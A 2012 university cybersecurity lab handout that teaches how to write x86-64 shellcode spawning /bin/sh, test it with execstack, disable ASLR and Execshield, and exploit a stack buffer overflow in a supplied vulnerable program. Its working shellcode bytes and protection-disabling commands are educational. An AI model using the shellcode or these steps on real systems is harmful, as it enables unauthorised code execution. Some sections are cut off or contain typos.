|
CMSC 498L/ENEE 459L, Fall 2012Cybersecurity LabShellcode/buffer overflow labOct 9, 2012IntroductionThe purpose of this lab is to give you some practice exploiting a buffer overflow. We will begin with an overview of writing shellcode (done jointly), and then you should work on the remaining parts of this lab, exploiting an overflow. If you finish the exploits early, you can move on to the last, challenge problem. Part 1: Starting a shellThe first step in developing an exploit is writing the shellcode that you want run on the target machine. It's called shellcode because typically this code will provide a command shell to the attacker. Before we create the actual shellcode, we'll need to figure out what instructions we need to start a shell. So let's write a C program to do just that, and look at its disassembly:
/* shell.c */
#include <unistd.h>
int main(void) {
execl("/bin/sh", "", NULL);
}
Now let's use objdump to disassemble the code we just wrote,
to see if it will give us what we want:
$ gcc shell.c $ objdump -D a.out ... 0000000000400418 <execl@plt>: 400418: ff 25 e2 0b 20 00 jmpq *0x200be2(%rip) # 601000 <_GLOBAL_OFFSET_TABLE_+0x18> 40041e: 68 00 00 00 00 pushq $0x0 400423: e9 e0 ff ff ff jmpq 400408 <_init+0x18> ... 0000000000400524 <main>: 400524: 55 push %rbp 400525: 48 89 e5 mov %rsp,%rbp 400528: ba 00 00 00 00 mov $0x0,%edx 40052d: be 3c 06 40 00 mov $0x40063c,%esi 400532: bf 3d 06 40 00 mov $0x40063d,%edi 400537: b8 00 00 00 00 mov $0x0,%eax 40053c: e8 d7 fe ff ff callq 400418 <execl@plt> 400541: c9 leaveq 400542: c3 retqLooking at this code, we can see it calls execl@plt, which in turn jumps to something in _GLOBAL_OFFSET_TABLE. This is pretty complicated. If we try to follow this further, we hit a dead end, because that table is used for dynamic linking. So there are two strikes against taking this code and using it in an exploit: First, it assumes that glibc is dynamically linked into the target application; and second, there's a lot of code, which might make the exploit harder to deploy. (For example, maybe there a maximum size buffer we can send over.) To address these issues, let's switch to static linking, and see if we can track down the actual code to execl, so we can put that directly in the shellcode. $ gcc -static shell.c $ objdump -D a.out ... 000000000040d490 <execl>: ... 40d5c1: e8 0a c7 02 00 callq 439cd0 <__execve> ... 0000000000439cd0 <__execve>: 439cd0: b8 3b 00 00 00 mov $0x3b,%eax 439cd5: 0f 05 syscall 439cd7: 48 3d 00 f0 ff ff cmp $0xfffffffffffff000,%rax 439cdd: 77 02 ja 439ce1 <__execve+0x11> 439cdf: f3 c3 repz retq 439ce1: 48 c7 c2 d0 ff ff ff mov $0xffffffffffffffd0,%rdx 439ce8: f7 d8 neg %eax 439cea: 64 89 02 mov %eax,%fs:(%rdx) 439ced: 83 c8 ff or $ 0xffffffffffffffff,%eax 439cf0: c3 retq ... 0000000000400434 <main>: 400434: 55 push %rbp 400435: 48 89 e5 mov %rsp,%rbp 400438: ba 00 00 00 00 mov $0x0,%edx 40043d: be c4 9c 47 00 mov $0x479cc4,%esi 400442: bf c5 9c 47 00 mov $0x479cc5,%edi 400447: b8 00 00 00 00 mov $0x0,%eax 40044c: e8 3f d0 00 00 callq 40d490 <execl> 400451: c9 leaveq 400452: c3 retqAha. Now, we can see the code for execl, and in fact, we can trace through that code and see that it actually calls execve, which is the function that actually performs the syscall instruction to trap into the kernel. Let's change shell.c to call into execve directly, so we can easily see how the argument setup goes.
/* shell.c */
#include <unistd.h>
int main(void) {
execve("/bin/sh", NULL, NULL);
}
$ gcc -static shell.c
$ objdump -D a.out
...
0000000000400434 <main>:
400434: 55 push %rbp
400435: 48 89 e5 mov %rsp,%rbp
400438: ba 00 00 00 00 mov $0x0,%edx
40043d: be 00 00 00 00 mov $0x0,%esi
400442: bf 04 9b 47 00 mov $0x479b04,%edi
400447: e8 34 d0 00 00 callq 40d480 <__execve>
40044c: c9 leaveq
40044d: c3 retq
(The code for execve is the same.)
Part 2: ShellcodeThe next step is to turn what we know into a string of bytes that, if they are executed, will create a shell. We could potentially use the bytes we got from the disassembly, but it turns on that contain contains some optimizations that mean it doesn't work directly. In particular, that code uses only portions of the 64-bit registers, and it turns out that doesn't work for shellcode, because addresses will get truncated. So we'll re-enter the code as assembly, tweak it, and use an assembler to build the bytes we need. The nasm assembler should already be installed on your VMs. Here is the code. (Note the order of arguments is different than in the objdump output.)
# shell.asm
global _start
_start:
mov rdx, 0
mov rsi, 0
lea rdi, [rel buf]
mov rax, 0x3b
syscall
buf: db '/bin/sh', 0
Notice we put buf after the code (since we'll jump to the beginning of this program). We've replaced uses of exx registers with rxx registers, and used lea (load effective address) instead of mov. We also use instruction pointer (rip)-relative addressing to access buf, since we don't know exactly where it will be loaded. We can assemble it with
$ nasm -felf64 shell.asm
$ objdump -D shell.o
shell.o: file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <_start>:
0:48 ba 00 00 00 00 00 mov $0x0,%rdx
7:00 00 00
a:48 be 00 00 00 00 00 mov $0x0,%rsi
11:00 00 00
14:48 8d 3d 0c 00 00 00 lea 0xc(%rip),%rdi # 27
Part 3: TestingFinally, let's write a simple program that we can use to test our shellcode. The following program transfers control to the bytes in buf.
/* run_it.c */
#include <stdio.h>
int main(void) {
char buf[] =
"\x48\xba\x00\x00\x00\x00\x00\x00\x00\x00"
"\x48\xbe\x00\x00\x00\x00\x00\x00\x00\x00"
"\x48\x8d\x3d\x0c\x00\x00\x00"
"\x48\xb8\x3b\x00\x00\x00\x00\x00\x00\x00"
"\x0f\x05"
"/bin/sh";
void *p = &buf;
asm("jmp *%0"
:
:"r"(p)
);
}
To actually run it, of course, we'll need to turn off stack
protection. We can do that with the execstack program, which
you'll need to install:
$ app-get install execstack $ gcc run_it.c $ execstack -s a.out $ ./a.out Part 4: Exploit a Buffer OverflowThe next part of the project is to use what you've learned so far to exploit an actual buffer overflow. The program you will be exploiting is a vulnerable ELF executable written in C. Your task is to first craft an exploit that will call a function (that is never meant to be called) to print something. Afterwards, you will write a fully working exploit that will spawn a local shell. For those of you who are more comfortable writing exploits, there is a challenge problem in the next part. Step 1: Download the Vulnerable programYou can find the vulnerable program here: vuln_program. After you download it, run chmod u+x vuln_program to make it executable. Step 2: Disable protections on your VMTo make your job easier, you should disable address space layout randomization (ASLR). On Ubuntu-based systems (e.g., Backtrack), run the following command: sudo sysctl -w kernel.randomize_va_space=0 If you are working on a RedHat-based system (e.g., RHE or Fedora), you will also need to disable Execshield, as follows: sudo sysctl -w kernel.exec-shield=0Don't do this step if you're using Backtrack. We've already disabled execshield on the vuln_program by compiling it with -fno-stack-protection and -z execstack. Step 3: Crash the program and trace it through with gdbRun the program and provide a long input to cause it to crash. How long an input do you need? Use objdump -D and/or gdb to figure out what's going on. (You will probably need to install gdb with apt-get install gdb.) Can you trace through the calls being made and see where the program is crashing? This article may be of help: Examining a Buffer Overflow in C and assembly with gdb. You may also find this gdb cheat sheet helpful. Step 4: Exploit the overflowNow that you understand what's going on, write an exploit that, instead of causing a crash, causes the program to print out "Woooo! Pwn3d!". There's an existing function target in the executable that prints this. So all you need to do is use the buffer overflow to overwrite return address on the stack to point to target's address. After you've succeeded at that, the last step is to write a fully working exploit that spawns a local shell. If you are really stuckIf you get stuck using objdump and gdb to trace through the code, you can find the source of the vulnerable program here: vuln_program.c. Part 5 (optional): Find a Buffer Overflow and Exploit ItOn your VMs, you will find a program called "tinyhttpd-broken" located here: /root/Desktop/klee/klee-cde-package/cde-root/home/pgbovine/klee/examples/We have injected a buffer overflow into this code (hence the "-broken" suffix). Your task is to do the following:
CreditsLab written by Jeff Foster and Josh Kamdjou. |